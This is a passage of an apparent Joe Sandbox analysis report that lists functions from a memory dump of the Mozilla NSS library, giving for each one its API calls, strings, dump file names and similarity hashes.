Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

Part of subcall function 6C731560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C72FAAB,00000000), ref: 6C73157E
Part of subcall function 6C731560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C72FAAB,00000000), ref: 6C731592
Part of subcall function 6C731560: memset.VCRUNTIME140(?,00000000,?), ref: 6C731600
Part of subcall function 6C731560: PL_ArenaRelease.NSS3(?,?), ref: 6C731620
Part of subcall function 6C731560: PR_Unlock.NSS3(?), ref: 6C731639

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 9fcb5a03cae6ed0b0652e21aa577be0ce947b68b32d202deba2483dc15cc6f78
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 0641BFB5601616AFE700CF14DE44B92BBA5FF55348F149128D8188BFA2EB72E834CF90

Function 6C6FDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C6FDDEC

Part of subcall function 6C730840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7308B4

PK11_DigestBegin.NSS3(00000000), ref: 6C6FDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C6FDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C6FDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C6FDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6FDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FDECC

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 695c5ebdd70795d9b0df1a4029e1774520711cf35c8422f09c675b60a72205f7
Instruction ID: 499b633a09a4135b5e0489a1c4f66c2dec245d85bea78212ce5e44defefe2a56
Opcode Fuzzy Hash: 695c5ebdd70795d9b0df1a4029e1774520711cf35c8422f09c675b60a72205f7
Instruction Fuzzy Hash: CA3109B29002146BEB00AF24AD04BBF76AADF55708F050135ED19A7741FB31E916C6E6

Function 6C6D7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6D7E48

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C6D7E5B

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D7E7B

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7F925C,?), ref: 6C6D7E92

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6D7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C6D7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C6D7EFA

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 1ed9c11e2d655c6da781e51aee9acfbfa969aaff82305aaebce52cd3fd42de81
Instruction ID: 74b92fd91a7361939bd397ed1615109732603818b013f73009863609a0ac4787
Opcode Fuzzy Hash: 1ed9c11e2d655c6da781e51aee9acfbfa969aaff82305aaebce52cd3fd42de81
Instruction Fuzzy Hash: D631B3B2E012169BEB108B699D48B9773E8AF44758F164824DC59EBB06F730FC05C7E6

Function 6C72DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C72D9E4,00000000), ref: 6C72DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C72D9E4,00000000), ref: 6C72DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C72D9E4,00000000), ref: 6C72DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C72DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C72DCAD

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 29edf9790a61dcf6340369100c9d0d2137008654b8cb1fe01cfe40c9568b0bb0
Instruction ID: 58e515006f0b3afde44ba73cbd6c28ff578a49d3241ac044f8447ddb4a9cf8da
Opcode Fuzzy Hash: 29edf9790a61dcf6340369100c9d0d2137008654b8cb1fe01cfe40c9568b0bb0
Instruction Fuzzy Hash: CC3181B59002009FD750CF1DDA88B96B7F8AF15358F148439E94CCBB01E775E984CBA5

Function 6C6F2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C6EE728,?,00000038,?,?,00000000), ref: 6C6F2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C6F2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C6F2E9E
PR_Unlock.NSS3(?), ref: 6C6F2EAB
PR_Unlock.NSS3(?), ref: 6C6F2F0D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: dce1198e5cfb56937063a453b2ad243bcd7a42ee05f2ae1fc6fc97c99f5e47a3
Instruction ID: 48bfbd1343cfdc0cdcb3aeba81b443c36bf14fa09fa54a91a28a20d8e5921c91
Opcode Fuzzy Hash: dce1198e5cfb56937063a453b2ad243bcd7a42ee05f2ae1fc6fc97c99f5e47a3
Instruction Fuzzy Hash: FC3146B6A00545ABEB009F28DC488B6B77AFF4A35CB148135EC1883A11FB31DC65CBE5

Function 6C711EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&ql,6C6F6295,?,00000000,?,00000001,S&ql,?), ref: 6C711ECB

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&ql,6C6F6295,?,00000000,?,00000001,S&ql,?), ref: 6C711EF1
EnterCriticalSection.KERNEL32(?), ref: 6C711F01
PR_SetError.NSS3(00000000,00000000), ref: 6C711F39

Part of subcall function 6C71FE20: TlsGetValue.KERNEL32(6C6F5ADC,?,00000000,00000001,?,?,00000000,?,6C6EBA55,?,?), ref: 6C71FE4B
Part of subcall function 6C71FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C71FE5F

PR_Unlock.NSS3(?), ref: 6C711F67

Strings

S&ql, xrefs: 6C711EA0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&ql
API String ID: 704537481-3055296710
Opcode ID: 59c3183be095f7c6de031868591d14771dadee3590db2640aac7cac33d83ad4a
Instruction ID: c8f7f3007e9bc91e389b73f3913d59ebf6b0b0edf275505ef380e08885715b2d
Opcode Fuzzy Hash: 59c3183be095f7c6de031868591d14771dadee3590db2640aac7cac33d83ad4a
Instruction Fuzzy Hash: F921F271A09204ABEF109E69DD48E9A376EAF55369F1C4134FD088BF11E730D954C6E1

Function 6C73CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C73CD93,?), ref: 6C73CEEE

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C73CD93,?), ref: 6C73CEFC

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C73CD93,?), ref: 6C73CF0B

Part of subcall function 6C730840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7308B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C73CD93,?), ref: 6C73CF1D

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C73CD93,?,?,?,?,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF78

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: eb1c5f6f8f1991483b2d8f70b611e9ebfa71cfd3fcf6a83665f55b6658c7f954
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: B711D2A6A002355BEB00AA666E49B6BB6EC9F4464EF005139EC0DD7742FB60D908C6B1

Function 6C6E8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6E8C1B
EnterCriticalSection.KERNEL32 ref: 6C6E8C34
PL_ArenaAllocate.NSS3 ref: 6C6E8C65
PR_Unlock.NSS3 ref: 6C6E8C9C
PR_Unlock.NSS3 ref: 6C6E8CB6

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

Strings

KRAM, xrefs: 6C6E8C8F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 83658a19cc60333f99e61290dae948d7051f2fa70c67feda5f241e19d24811da
Instruction ID: 856ba41888841689f5772e928faa41f6d21d3cd33f5faafbed4a60f5c704f8ed
Opcode Fuzzy Hash: 83658a19cc60333f99e61290dae948d7051f2fa70c67feda5f241e19d24811da
Instruction Fuzzy Hash: E42151B160AA018FD700AF7CC488569B7F4FF4A718F05896FD8888B751DB35D885CB95

Function 6C6F8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C712E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6E4F1C), ref: 6C6F8EA2

Part of subcall function 6C71F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C71F854
Part of subcall function 6C71F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C71F868
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C71F882
Part of subcall function 6C71F820: free.MOZGLUE(04C483FF,?,?), ref: 6C71F889
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C71F8A4
Part of subcall function 6C71F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C71F8AB
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C71F8C9
Part of subcall function 6C71F820: free.MOZGLUE(280F10EC,?,?), ref: 6C71F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C712E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6E4F1C), ref: 6C6F8EC3
TlsGetValue.KERNEL32(?,?,?,6C712E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6E4F1C), ref: 6C6F8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C712E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C6F8EF1
PR_Unlock.NSS3 ref: 6C6F8F20

Strings

b.ql, xrefs: 6C6F8E96, 6C6F8F25

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.ql
API String ID: 1978757487-4036554426
Opcode ID: bb47817c0a270a872aff9e4e935ab2b376c602163afcdbf31d6739ea1a0b1925
Instruction ID: c79da1d72a04bc24dc7d01c7d5ad0dbf1b82ed2f68f9a96cdcf7bab46eb6f537
Opcode Fuzzy Hash: bb47817c0a270a872aff9e4e935ab2b376c602163afcdbf31d6739ea1a0b1925
Instruction Fuzzy Hash: F521E170A097049FDB00AF2AC588199BBF1FF49318F0145AEECA887B51D730E851CBC6

Function 6C763E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B40: PR_GetIdentitiesLayer.NSS3 ref: 6C765B56

PR_EnterMonitor.NSS3(?), ref: 6C763E45

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

PR_EnterMonitor.NSS3(?), ref: 6C763E5C
PR_EnterMonitor.NSS3(?), ref: 6C763E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C763EA6

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_ExitMonitor.NSS3(?), ref: 6C763EC0
PR_ExitMonitor.NSS3(?), ref: 6C763ED7
PR_ExitMonitor.NSS3(?), ref: 6C763EEE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 40a126a981523240af211b4edab463a436c4771c104a57f1ae5acd14fe20621b
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 75110D71950500AFEB315E2AFE0ABC773B5DB50318F440834E95D87E22E732E829C752

Function 6C7E2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C7E2CA0
PR_ExitMonitor.NSS3 ref: 6C7E2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C7E2CD1
strdup.MOZGLUE(?), ref: 6C7E2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C7E2D27

Strings

Loaded library %s (static lib), xrefs: 6C7E2D22

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 077621c2ad89f6dc0f18b804818f76891cdf2baebed0d1f2d8f36cbef0a24357
Instruction ID: 8ee1f0ab63722b9c98b19d577d3398e40191aaa8ece3400d5477a7a4afbed5c2
Opcode Fuzzy Hash: 077621c2ad89f6dc0f18b804818f76891cdf2baebed0d1f2d8f36cbef0a24357
Instruction Fuzzy Hash: 7E11E2B27012019FEB208F99D94DA6677B5EB4A70DF14893DD80D87B51E735E808CBE1

Function 6C6DBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6DBDCA

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6DBDDB

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6DBDEC

Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C6DBE03

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

